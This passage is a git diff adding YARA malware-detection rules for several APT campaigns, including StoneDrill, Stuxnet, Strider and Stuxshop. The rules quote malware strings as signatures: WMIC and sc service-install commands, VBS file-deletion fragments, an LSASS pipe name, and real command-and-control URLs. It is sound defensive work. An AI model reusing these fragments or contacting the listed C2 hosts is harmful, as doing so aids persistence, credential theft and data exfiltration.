+        $x1 = "%WINDIR%\\ativpsrz.bin" fullword ascii
+        $x2 = "%WINDIR%\\ativpsrn.bin" fullword ascii
+        $x3 = "kerberos32.dll" fullword wide
+        $x4 = "KERBEROS64.dll" fullword ascii
+        $x5 = "kerberos%d.dll" fullword ascii
+
+        $s1 = "\\\\.\\pipe\\lsassp" fullword ascii
+        $s2 = "LSASS secure pipe" fullword ascii /* PEStudio Blacklist: strings */ 
+        $s3 = "NullSessionPipes" fullword ascii /* PEStudio Blacklist: strings */ 
+        $s4 = "getlog" fullword ascii
+        $s5 = "startlog" fullword ascii /* PEStudio Blacklist: strings */
+        $s6 = "stoplog" fullword ascii /* PEStudio Blacklist: strings */
+        $s7 = "Unsupported OS (%d)" fullword ascii /* PEStudio Blacklist: strings */ 
+        $s8 = "Unsupported OS (%s)" fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        uint16(0) == 0x5a4d and filesize < 300KB and (2 of ($x*) or all of ($s*))
+}
+
+rule Sphinx_Moth_kerberos64 { 
+    meta:
+        description = "sphinx moth threat group file kerberos64.dll" 
+        author = "Kudelski Security - Nagravision SA (modified by Florian Roth)"
+        reference = "www.kudelskisecurity.com"
+        date = "2015-08-06"
+        id = "5a2487e4-cda4-5d45-9351-edd2b69c460a"
+    strings:
+        $s0 = "KERBEROS64.dll" fullword ascii
+        $s1 = "zeSecurityDescriptor" fullword ascii
+        $s2 = "SpGetInfo" fullword ascii
+        $s3 = "SpShutdown" fullword ascii
+        $op0 = { 75 05 e8 6a c7 ff ff 48 8b 1d 47 d6 00 00 33 ff } /* Opcode */ 
+        $op1 = { 48 89 05 0c 2b 01 00 c7 05 e2 29 01 00 09 04 00 } /* Opcode */ 
+        $op2 = { 48 8d 3d e3 ee 00 00 ba 58 } /* Opcode */
+    condition:
+        uint16(0) == 0x5a4d and filesize < 406KB and all of ($s*) and 1 of ($op*)
+}
+
+rule Sphinx_Moth_nvcplex { 
+    meta:
+        description = "sphinx moth threat group file nvcplex.dat" 
+        author = "Kudelski Security - Nagravision SA"
+        reference = "www.kudelskisecurity.com"
+        date = "2015-08-06"
+        id = "dd1b4071-adf5-5d54-9b4c-877f0965bdc7"
+    strings:
+        $s0 = "mshtaex.exe" fullword wide
+        $op0 = { 41 8b cc 44 89 6c 24 28 48 89 7c 24 20 ff 15 d3 } /* Opcode */ 
+        $op1 = { 48 3b 0d ad 8f 00 00 74 05 e8 ba f5 ff ff 48 8b } /* Opcode */ 
+        $op2 = { 8b ce e8 49 47 00 00 90 8b 43 04 89 05 93 f1 00 } /* Opcode */
+    condition:
+        uint16(0) == 0x5a4d and filesize < 214KB and all of them
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/apt_stealer_cisa_ar22_277a.yar b/yara-Neo23x0/apt_stealer_cisa_ar22_277a.yar
new file mode 100644
index 0000000..ef346a0
--- /dev/null
+++ b/yara-Neo23x0/apt_stealer_cisa_ar22_277a.yar
@@ -0,0 +1,67 @@
+
+/* slightly modified by Florian Roth */
+
+rule APT_MAL_CISA_10365227_03_ClientUploader_Dec21 {
+   meta:
+       author = "CISA Code & Media Analysis"
+       date = "2021-12-23"
+       modified = "2021-12-24"
+       score = 80
+       description = "Detects ClientUploader onedrv"
+       reference = "https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-277a"
+       hash1 = "84164e1e8074c2565d3cd178babd93694ce54811641a77ffdc8d1084dd468afb"
+       id = "4eeadb28-9312-5602-932a-36acb48772f4"
+   strings:
+       $s1 = "Decoder2"
+       $s2 = "ClientUploader"
+       $s3 = "AppDomain"
+       $s4 = { 5F 49 73 52 65 70 47 ?? 44 65 63 6F 64 65 72 73 }
+       $s5 = "LzmaDecoder"
+       $s6 = "$ee1b3f3b-b13c-432e-a461-e52d273896a7"
+   condition:
+       uint16(0) == 0x5a4d and all of them
+}
+
+rule APT_MAL_CISA_10365227_01_APPSTORAGE_Dec21 {
+   meta:
+       author = "CISA Code & Media Analysis"
+       date = "2021-12-23"
+       modified = "2021-12-24"
+       family = "APPSTORAGE"
+       score = 80
+       description = "Detects AppStorage ntstatus msexch samples"
+       reference = "https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-277a"
+       hash1 = "157a0ffd18e05bfd90a4ec108e5458cbde01015e3407b3964732c9d4ceb71656"
+       hash2 = "30191b3badf3cdbc65d0ffeb68e0f26cef10a41037351b0f562ab52fce7432cc"
+       id = "a44c5609-980f-5961-921c-6b1824cdd49c"
+   strings:
+       $s1 = "026B924DD52F8BE4A3FEE8575DC"
+       $s2 = "GetHDDId"
+       $s3 = "AppStorage"
+       $s4 = "AppDomain"
+       $s5 = "$1e3e5580-d264-4c30-89c9-8933c948582c"
+       $s6 = "hrjio2mfsdlf235d" wide
+   condition:
+       uint16(0) == 0x5a4d and all of them
+}
+
+rule APT_MAL_CISA_10365227_02_ClientUploader_Dec21 {
+   meta:
+       author = "CISA Code & Media Analysis"
+       date = "2021-12-23"
+       modified = "2021-12-24"
+       score = 80
+       description = "Detects ClientUploader_mqsvn"
+       reference = "https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-277a"
+       hash1 = "3585c3136686d7d48e53c21be61bb2908d131cf81b826acf578b67bb9d8e9350"
+       id = "84351df9-e225-5c3f-9385-523246681a97"
+   strings:
+       $s1 = "UploadSmallFileWithStopWatch"
+       $s2 = "UploadPartWithStopwatch"
+       $s3 = "AppVClient"
+       $s4 = "ClientUploader"
+       $s5 = { 46 69 6C 65 43 6F 6E 74 61 69 6E 65 72 2E 46 69 6C 65 41 72 63 68 69 76 65 }
+       $s6 = { 4F 6E 65 44 72 69 76 65 43 6C 69 65 6E 74 2E 4F 6E 65 44 72 69 76 65 }
+   condition:
+       uint16(0) == 0x5a4d and all of them
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/apt_stonedrill.yar b/yara-Neo23x0/apt_stonedrill.yar
new file mode 100644
index 0000000..18c8d1f
--- /dev/null
+++ b/yara-Neo23x0/apt_stonedrill.yar
@@ -0,0 +1,192 @@
+
+/*
+   Yara Rule Set
+   Author: Kaspersky
+   Date: 2017-03-07
+   Identifier: Stone Drill Report by Kaspersky
+*/
+
+import "pe"
+import "math"
+
+rule susp_file_enumerator_with_encrypted_resource_101 {
+   meta:
+      copyright = "Kaspersky Lab"
+      description = "Generic detection for samples that enumerate files with encrypted resource called 101"
+      hash = "2cd0a5f1e9bcce6807e57ec8477d222a"
+      hash = "c843046e54b755ec63ccb09d0a689674"
+      reference = "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/"
+      version = "1.4"
+      id = "9bc16ec2-c94c-54f5-b09c-88a78e9e3fb2"
+   strings:
+      $mz = "This program cannot be run in DOS mode."
+      $a1 = "FindFirstFile" ascii wide nocase
+      $a2 = "FindNextFile" ascii wide nocase
+      $a3 = "FindResource" ascii wide nocase
+      $a4 = "LoadResource" ascii wide nocase
+   condition:
+      uint16(0) == 0x5A4D and
+      all of them and
+      filesize < 700000 and
+      pe.number_of_sections > 4 and
+      pe.number_of_resources > 1 and pe.number_of_resources < 15 and
+      for any i in (0..pe.number_of_resources - 1):
+         (
+            (math.entropy(pe.resources[i].offset, pe.resources[i].length) > 7.8) and
+            pe.resources[i].id == 101 and
+            pe.resources[i].length > 20000 and
+            pe.resources[i].language == 0 and
+            not ($mz in (pe.resources[i].offset..pe.resources[i].offset + pe.resources[i].length))
+         )
+}
+
+rule StoneDrill_main_sub {
+   meta:
+      author = "Kaspersky Lab"
+      description = "Rule to detect StoneDrill (decrypted) samples"
+      hash1 = "d01781f1246fd1b64e09170bd6600fe1"
+      hash2 = "ac3c25534c076623192b9381f926ba0d"
+      reference = "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/"
+      version = "1.0"
+      id = "92f53e6a-8f49-5ffa-8c16-3ec3e6f2bdcd"
+   strings:
+      $code = {B8 08 00 FE 7F FF 30 8F 44 24 ?? 68 B4 0F 00 00 FF 15 ?? ?? ?? 00 B8 08 00 FE 7F FF 30 8F 44 24 ?? 8B ?? 24 [1 - 4] 2B ?? 24 [6] F7 ?1 [5 - 12] 00}
+   condition:
+      uint16(0) == 0x5A4D and $code and filesize < 5000000
+}
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-03-07
+   Identifier: Stone Drill Report by Kaspersky
+*/
+
+rule StoneDrill_BAT_1 {
+   meta:
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      description = "Rule to detect Batch file from StoneDrill report"
+      reference = "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/"
+      id = "92f53e6a-8f49-5ffa-8c16-3ec3e6f2bdcd"
+   strings:
+      $s1 = "set u100=" ascii
+      $s2 = "set u200=service" ascii fullword
+      $s3 = "set u800=%~dp0" ascii fullword
+      $s4 = "\"%systemroot%\\system32\\%u100%\"" ascii
+      $s5 = "%\" start /b %systemroot%\\system32\\%" ascii
+   condition:
+      uint32(0) == 0x68636540 and 2 of them and filesize < 500
+}
+
+rule StoneDrill_Service_Install {
+   meta:
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      description = "Rule to detect Batch file from StoneDrill report"
+      reference = "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/"
+      id = "92f53e6a-8f49-5ffa-8c16-3ec3e6f2bdcd"
+   strings:
+      $s1 = "127.0.0.1 >nul && sc config" ascii
+      $s2 = "LocalService\" && ping -n" ascii fullword
+      $s3 = "127.0.0.1 >nul && sc start" ascii fullword
+      $s4 = "sc config NtsSrv binpath= \"C:\\WINDOWS\\system32\ntssrvr64.exe" ascii
+   condition:
+      2 of them and filesize < 500
+}
+
+rule StoneDrill_ntssrvr32 {
+   meta:
+      description = "Detects malware from StoneDrill threat report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/"
+      date = "2017-03-07"
+      modified = "2023-01-27"
+      hash1 = "394a7ebad5dfc13d6c75945a61063470dc3b68f7a207613b79ef000e1990909b"
+      id = "92f53e6a-8f49-5ffa-8c16-3ec3e6f2bdcd"
+   strings:
+      $s1 = "g\\system32\\" wide
+      $s2 = "ztvttw" fullword wide
+      $s3 = "lwizvm" fullword ascii
+
+      $op1 = { 94 35 77 73 03 40 eb e9 }
+      $op2 = { 80 7c 41 01 00 74 0a 3d }
+      $op3 = { 74 0a 3d 00 94 35 77 }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 4000KB and 3 of them )
+}
+
+rule StoneDrill_Malware_2 {
+   meta:
+      description = "Detects malware from StoneDrill threat report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/"
+      date = "2017-03-07"
+      hash1 = "69530d78c86031ce32583c6800f5ffc629acacb18aac4c8bb5b0e915fc4cc4db"
+      id = "92f53e6a-8f49-5ffa-8c16-3ec3e6f2bdcd"
+   strings:
+      $s1 = "cmd /c WMIC Process Call Create \"C:\\Windows\\System32\\Wscript.exe //NOLOGO " fullword wide
+      $s2 = "C:\\ProgramData\\InternetExplorer" fullword wide
+      $s3 = "WshShell.CopyFile \"" fullword wide
+      $s4 = "Abd891.tmp" fullword wide
+      $s5 = "Set WshShell = Nothing" fullword wide
+      $s6 = "AaCcdDeFfGhiKLlMmnNoOpPrRsSTtUuVvwWxyZz32" fullword ascii
+      $s7 = "\\FileInfo.txt" wide
+
+      $x1 = "C-PDI-C-Cpy-T.vbs" fullword wide
+      $x2 = "C-Dlt-C-Org-T.vbs" fullword wide
+      $x3 = "C-PDC-C-Cpy-T.vbs" fullword wide
+      $x4 = "AC-PDC-C-Cpy-T.vbs" fullword wide
+      $x5 = "C-Dlt-C-Trsh-T.tmp" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 700KB and ( 1 of ($x*) or 3 of ($s*) ) ) or 5 of them
+}
+
+rule StoneDrill {
+   meta:
+      description = "Detects malware from StoneDrill threat report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/"
+      date = "2017-03-07"
+      super_rule = 1
+      hash1 = "2bab3716a1f19879ca2e6d98c518debb107e0ed8e1534241f7769193807aac83"
+      hash2 = "62aabce7a5741a9270cddac49cd1d715305c1d0505e620bbeaec6ff9b6fd0260"
+      hash3 = "69530d78c86031ce32583c6800f5ffc629acacb18aac4c8bb5b0e915fc4cc4db"
+      id = "92f53e6a-8f49-5ffa-8c16-3ec3e6f2bdcd"
+   strings:
+      $x1 = "C-Dlt-C-Trsh-T.tmp" fullword wide
+      $x2 = "C-Dlt-C-Org-T.vbs" fullword wide
+
+      $s1 = "Hello dear" fullword ascii
+      $s2 = "WRZRZRAR" fullword ascii
+
+      $opa1 = { 66 89 45 d8 6a 64 ff }
+      $opa2 = { 8d 73 01 90 0f bf 51 fe }
+   condition:
+      uint16(0) == 0x5a4d and filesize < 700KB and 1 of ($x*) or ( all of ($op*) and all of ($s*) )
+}
+
+rule StoneDrill_VBS_1 {
+   meta:
+      description = "Detects malware from StoneDrill threat report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/"
+      date = "2017-03-07"
+      hash1 = "0f4d608a87e36cb0dbf1b2d176ecfcde837070a2b2a049d532d3d4226e0c9587"
+      id = "a7ee3bd4-eeae-5eb4-92e7-9601ec17300a"
+   strings:
+      $x1 = "wmic /NameSpace:\\\\root\\default Class StdRegProv Call SetStringValue hDefKey = \"&H80000001\" sSubKeyName = \"Software\\Micros" ascii
+      $x2 = "ping 1.0.0.0 -n 1 -w 20000 > nul" fullword ascii
+
+      $s1 = "WshShell.CopyFile \"%COMMON_APPDATA%\\Chrome\\" ascii
+      $s2 = "WshShell.DeleteFile \"%temp%\\" ascii
+      $s3 = "WScript.Sleep(10 * 1000)" fullword ascii
+      $s4 = "Set WshShell = CreateObject(\"Scripting.FileSystemObject\") While WshShell.FileExists(\"" ascii
+      $s5 = " , \"%COMMON_APPDATA%\\Chrome\\" ascii
+   condition:
+      ( filesize < 1KB and 1 of ($x*) or 2 of ($s*) )
+}
diff --git a/yara-Neo23x0/apt_strider.yara b/yara-Neo23x0/apt_strider.yara
new file mode 100644
index 0000000..63edc66
--- /dev/null
+++ b/yara-Neo23x0/apt_strider.yara
@@ -0,0 +1,90 @@
+/*
+	Yara Rule Set
+	Author: Symantec
+	Date: 2016-08-08
+	Identifier: Strider
+*/
+
+rule remsec_executable_blob_32 {
+   meta:
+      copyright = "Symantec"
+      description = "Detects malware from Symantec's Strider APT report"
+      score = 80
+      date = "2016/08/08"
+      reference = "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
+      id = "d7a7e57a-b117-5da8-a7a2-4c6351bd9072"
+   strings:
+      $code = { 31 06 83 C6 04 D1 E8 73 05 35 01 00 00 D0 E2 F0 }
+   condition:
+      all of them
+}
+
+rule remsec_executable_blob_64 {
+   meta:
+      copyright = "Symantec"
+      description = "Detects malware from Symantec's Strider APT report"
+      score = 80
+      date = "2016/08/08"
+      reference = "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
+      id = "22345f40-3dae-5d5b-acc6-c67394475636"
+   strings:
+      $code = { 31 06 48 83 C6 04 D1 E8 73 05 35 01 00 00 D0 E2 EF }
+   condition:
+      all of them
+}
+
+rule remsec_executable_blob_parser {
+   meta:
+      copyright = "Symantec"
+      description = "Detects malware from Symantec's Strider APT report"
+      score = 80
+      date = "2016/08/08"
+      reference = "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
+      id = "b2189bfe-7b84-5fe9-8829-64f49d1e2030"
+   strings:
+      $code = { ( 0F 82 ?? ?? 00 00 | 72 ?? ) ( 80 | 41 80 ) ( 7? | 7C 24 ) 04 02 ( 0F 85 ?? ?? 00 00 | 75 ?? ) ( 81 | 41 81 ) ( 3? | 3C 24 | 7D 00 ) 02 AA 02 C1 ( 0F 85 ?? ?? 00 00 | 75 ?? ) ( 8B | 41 8B | 44 8B | 45 8B ) ( 4? | 5? | 6? | 7? | ?4 24 | ?C 24 ) 06 }
+   condition:
+      all of them
+}
+
+rule remsec_encrypted_api {
+   meta:
+      copyright = "Symantec"
+      description = "Detects malware from Symantec's Strider APT report"
+      score = 80
+      date = "2016/08/08"
+      reference = "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
+      id = "1aa3380b-d704-5eb9-b25d-f4bf20ae7179"
+   strings:
+      $open_process = { 91 9A 8F B0 9C 90 8D AF 8C 8C 9A FF }
+   condition:
+      all of them
+}
+
+rule remsec_packer_A {
+   meta:
+      copyright = "Symantec"
+      description = "Detects malware from Symantec's Strider APT report"
+      score = 80
+      date = "2016/08/08"
+      reference = "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
+      id = "d75198ab-b1ea-572a-a674-9a38c3e2958b"
+   strings:
+      $code = { 69 ( C? | D? | E? | F? ) AB 00 00 00 ( 81 | 41 81 ) C? CD 2B 00 00 ( F7 | 41 F7 ) E? ( C1 | 41 C1 ) E? 0D ( 69 | 45 69 ) ( C? | D? | E? | F? ) 85 CF 00 00 ( 29 | 41 29 | 44 29 | 45 29 | 2B | 41 2B | 44 2B | 45 2B ) }
+   condition:
+      all of them
+}
+
+rule remsec_packer_B {
+   meta:
+      copyright = "Symantec"
+      description = "Detects malware from Symantec's Strider APT report"
+      score = 80
+      date = "2016/08/08"
+      reference = "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
+      id = "18e7f84e-27f2-532d-9ead-0db6e9e6c0b2"
+   strings:
+      $code = { 48 8B 05 ?? ?? ?? ?? 48 89 44 24 ?? 48 8B 05 ?? ?? ?? ?? 48 8D 4C 24 ?? 48 89 44 24 ?? 48 8D ( 45 ?? | 84 24 ?? ?? 00 00 ) ( 44 88 6? 24 ?? | C6 44 24 ?? 00 ) 48 89 44 24 ?? 48 8D ( 45 ?? | 84 24 ?? ?? 00 00 ) C7 44 24 ?? 0? 00 00 00 2B ?8 48 89 ?C 24 ?? 44 89 6? 24 ?? 83 C? 08 89 ?C 24 ?? ( FF | 41 FF ) D? ( 05 | 8D 88 ) 00 00 00 3A }
+   condition:
+      all of them
+}
diff --git a/yara-Neo23x0/apt_stuxnet.yar b/yara-Neo23x0/apt_stuxnet.yar
new file mode 100644
index 0000000..4dd216e
--- /dev/null
+++ b/yara-Neo23x0/apt_stuxnet.yar
@@ -0,0 +1,188 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-07-09
+	Identifier: Stuxnet
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule StuxNet_Malware_1 {
+	meta:
+		description = "Stuxnet Sample - file malware.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Internal Research"
+		date = "2016-07-09"
+		hash1 = "9c891edb5da763398969b6aaa86a5d46971bd28a455b20c2067cb512c9f9a0f8"
+		id = "1f475dc3-ebb3-508f-b696-3d9ea270b13d"
+	strings:
+		 // 0x10001778 8b 45 08  mov     eax, dword ptr [ebp + 8]
+		 // 0x1000177b 35 dd 79 19 ae    xor     eax, 0xae1979dd
+		 // 0x10001780 33 c9     xor     ecx, ecx
+		 // 0x10001782 8b 55 08  mov     edx, dword ptr [ebp + 8]
+		 // 0x10001785 89 02     mov     dword ptr [edx], eax
+		 // 0x10001787 89 ?? ??  mov     dword ptr [edx + 4], ecx
+		 $op1 = { 8b 45 08 35 dd 79 19 ae 33 c9 8b 55 08 89 02 89 }
+		 // 0x10002045 74 36     je      0x1000207d
+		 // 0x10002047 8b 7f 08  mov     edi, dword ptr [edi + 8]
+		 // 0x1000204a 83 ff 00  cmp     edi, 0
+		 // 0x1000204d 74 2e     je      0x1000207d
+		 // 0x1000204f 0f b7 1f  movzx   ebx, word ptr [edi]
+		 // 0x10002052 8b 7f 04  mov     edi, dword ptr [edi + 4]
+		 $op2 = { 74 36 8b 7f 08 83 ff 00 74 2e 0f b7 1f 8b 7f 04 }
+		 // 0x100020cf 74 70     je      0x10002141
+		 // 0x100020d1 81 78 05 8d 54 24 04      cmp     dword ptr [eax + 5], 0x424548d
+		 // 0x100020d8 75 1b     jne     0x100020f5
+		 // 0x100020da 81 78 08 04 cd ?? ??      cmp     dword ptr [eax + 8], 0xc22ecd04
+		 $op3 = { 74 70 81 78 05 8d 54 24 04 75 1b 81 78 08 04 cd }
+	condition:
+		all of them
+}
+
+rule Stuxnet_Malware_2 {
+	meta:
+		description = "Stuxnet Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Internal Research"
+		date = "2016-07-09"
+		hash1 = "63e6b8136058d7a06dfff4034b4ab17a261cdf398e63868a601f77ddd1b32802"
+		id = "2865353c-44c5-5280-878b-daadcef017b8"
+	strings:
+		$s1 = "\\SystemRoot\\System32\\hal.dll" wide
+		$s2 = "http://www.jmicron.co.tw0" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 70KB and all of them
+}
+
+rule StuxNet_dll {
+	meta:
+		description = "Stuxnet Sample - file dll.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Internal Research"
+		date = "2016-07-09"
+		hash1 = "9e392277f62206098cf794ddebafd2817483cfd57ec03c2e05e7c3c81e72f562"
+		id = "92d812a6-2622-56e4-96c5-eb65ab7055b9"
+	strings:
+		$s1 = "SUCKM3 FROM EXPLORER.EXE MOTH4FUCKA #@!" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and $s1
+}
+
+rule Stuxnet_Shortcut_to {
+	meta:
+		description = "Stuxnet Sample - file Copy of Shortcut to.lnk"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Internal Research"
+		date = "2016-07-09"
+		hash1 = "801e3b6d84862163a735502f93b9663be53ccbdd7f12b0707336fecba3a829a2"
+		id = "582ab12b-808e-5d5c-ba36-3bb987c4c552"
+	strings:
+		$x1 = "\\\\.\\STORAGE#Volume#_??_USBSTOR#Disk&Ven_Kingston&Prod_DataTraveler_2.0&Rev_PMAP#5B6B098B97BE&0#{53f56307-b6bf-11d0-94f2-00a0c" wide
+	condition:
+		uint16(0) == 0x004c and filesize < 10KB and $x1
+}
+
+rule Stuxnet_Malware_3 {
+	meta:
+		description = "Stuxnet Sample - file ~WTR4141.tmp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Internal Research"
+		date = "2016-07-09"
+		hash1 = "6bcf88251c876ef00b2f32cf97456a3e306c2a263d487b0a50216c6e3cc07c6a"
+		hash2 = "70f8789b03e38d07584f57581363afa848dd5c3a197f2483c6dfa4f3e7f78b9b"
+		id = "1b0b301a-bf29-5080-a7d6-4d5f389bdf50"
+	strings:
+		$x1 = "SHELL32.DLL.ASLR." fullword wide
+
+		$s1 = "~WTR4141.tmp" fullword wide
+		$s2 = "~WTR4132.tmp" fullword wide
+		$s3 = "totalcmd.exe" fullword wide
+		$s4 = "wincmd.exe" fullword wide
+		$s5 = "http://www.realtek.com0" fullword ascii
+		$s6 = "{%08x-%08x-%08x-%08x}" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 150KB and ( $x1 or 3 of ($s*) ) ) or ( 5 of them )
+}
+
+rule Stuxnet_Malware_4 {
+	meta:
+		description = "Stuxnet Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Internal Research"
+		date = "2016-07-09"
+		hash1 = "0d8c2bcb575378f6a88d17b5f6ce70e794a264cdc8556c8e812f0b5f9c709198"
+		hash2 = "1635ec04f069ccc8331d01fdf31132a4bc8f6fd3830ac94739df95ee093c555c"
+		id = "fd3fa395-15f1-5a11-9740-03b897e4620b"
+	strings:
+		$x1 = "\\objfre_w2k_x86\\i386\\guava.pdb" ascii
+		$x2 = "MRxCls.sys" fullword wide
+		$x3 = "MRXNET.Sys" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 80KB and 1 of them ) or ( all of them )
+}
+
+rule Stuxnet_maindll_decrypted_unpacked {
+	meta:
+		description = "Stuxnet Sample - file maindll.decrypted.unpacked.dll_"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Internal Research"
+		date = "2016-07-09"
+		hash1 = "4c3d7b38339d7b8adf73eaf85f0eb9fab4420585c6ab6950ebd360428af11712"
+		id = "7009a41c-0588-5392-ae1c-045e0a5ee56b"
+	strings:
+		$s1 = "%SystemRoot%\\system32\\Drivers\\mrxsmb.sys;%SystemRoot%\\system32\\Drivers\\*.sys" fullword wide
+		$s2 = "<Actions Context=\"%s\"><Exec><Command>%s</Command><Arguments>%s,#%u</Arguments></Exec></Actions>" fullword wide
+		$s3 = "%SystemRoot%\\inf\\oem7A.PNF" fullword wide
+		$s4 = "%SystemRoot%\\inf\\mdmcpq3.PNF" fullword wide
+		$s5 = "%SystemRoot%\\inf\\oem6C.PNF" fullword wide
+		$s6 = "@abf varbinary(4096) EXEC @hr = sp_OACreate 'ADODB.Stream', @aods OUT IF @hr <> 0 GOTO endq EXEC @hr = sp_OASetProperty @" wide
+		$s7 = "STORAGE#Volume#1&19f7e59c&0&" fullword wide
+		$s8 = "view MCPVREADVARPERCON as select VARIABLEID,VARIABLETYPEID,FORMATFITTING,SCALEID,VARIABLENAME,ADDRESSPARAMETER,PROTOKOLL,MAXLIMI" ascii
+	condition:
+		 6 of them
+}
+
+rule Stuxnet_s7hkimdb {
+	meta:
+		description = "Stuxnet Sample - file s7hkimdb.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Internal Research"
+		date = "2016-07-09"
+		hash1 = "4071ec265a44d1f0d42ff92b2fa0b30aafa7f6bb2160ed1d0d5372d70ac654bd"
+		id = "e4cb277f-5eee-5405-9d48-d06657392323"
+	strings:
+		$x1 = "S7HKIMDX.DLL" fullword wide
+
+		/* Opcodes by Binar.ly */
+
+		// 0x10001778 8b 45 08  mov     eax, dword ptr [ebp + 8]
+		// 0x1000177b 35 dd 79 19 ae    xor     eax, 0xae1979dd
+		// 0x10001780 33 c9     xor     ecx, ecx
+		// 0x10001782 8b 55 08  mov     edx, dword ptr [ebp + 8]
+		// 0x10001785 89 02     mov     dword ptr [edx], eax
+		// 0x10001787 89 ?? ??  mov     dword ptr [edx + 4], ecx
+		$op1 = { 8b 45 08 35 dd 79 19 ae 33 c9 8b 55 08 89 02 89 }
+		// 0x10002045 74 36     je      0x1000207d
+		// 0x10002047 8b 7f 08  mov     edi, dword ptr [edi + 8]
+		// 0x1000204a 83 ff 00  cmp     edi, 0
+		// 0x1000204d 74 2e     je      0x1000207d
+		// 0x1000204f 0f b7 1f  movzx   ebx, word ptr [edi]
+		// 0x10002052 8b 7f 04  mov     edi, dword ptr [edi + 4]
+		$op2 = { 74 36 8b 7f 08 83 ff 00 74 2e 0f b7 1f 8b 7f 04 }
+		// 0x100020cf 74 70     je      0x10002141
+		// 0x100020d1 81 78 05 8d 54 24 04      cmp     dword ptr [eax + 5], 0x424548d
+		// 0x100020d8 75 1b     jne     0x100020f5
+		// 0x100020da 81 78 08 04 cd ?? ??      cmp     dword ptr [eax + 8], 0xc22ecd04
+		$op3 = { 74 70 81 78 05 8d 54 24 04 75 1b 81 78 08 04 cd }
+
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 40KB and $x1 and all of ($op*) )
+}
diff --git a/yara-Neo23x0/apt_stuxshop.yar b/yara-Neo23x0/apt_stuxshop.yar
new file mode 100644
index 0000000..f6801de
--- /dev/null
+++ b/yara-Neo23x0/apt_stuxshop.yar
@@ -0,0 +1,47 @@
+
+rule STUXSHOP_config {
+   meta:
+      desc = "Stuxshop standalone sample configuration"
+      author = "JAG-S (turla@chronicle.security)"
+      hash = "c1961e54d60e34bbec397c9120564e8d08f2f243ae349d2fb20f736510716579"
+      reference = "https://medium.com/chronicle-blog/who-is-gossipgirl-3b4170f846c0"
+      id = "67367db5-51b3-5177-960a-5b06161154e2"
+   strings:
+      $cnc1 = "http://211.24.237.226/index.php?data=" ascii wide
+      $cnc2 = "http://todaysfutbol.com/index.php?data=" ascii wide
+      $cnc3 = "http://78.111.169.146/index.php?data=" ascii wide
+      $cnc4 = "http://mypremierfutbol.com/index.php?data=" ascii wide
+      $regkey1 = "Software\\Microsoft\\Windows\\CurrentVersion\\MS-DOS Emulation" ascii wide
+      $regkey2 = "NTVDMParams" ascii wide
+
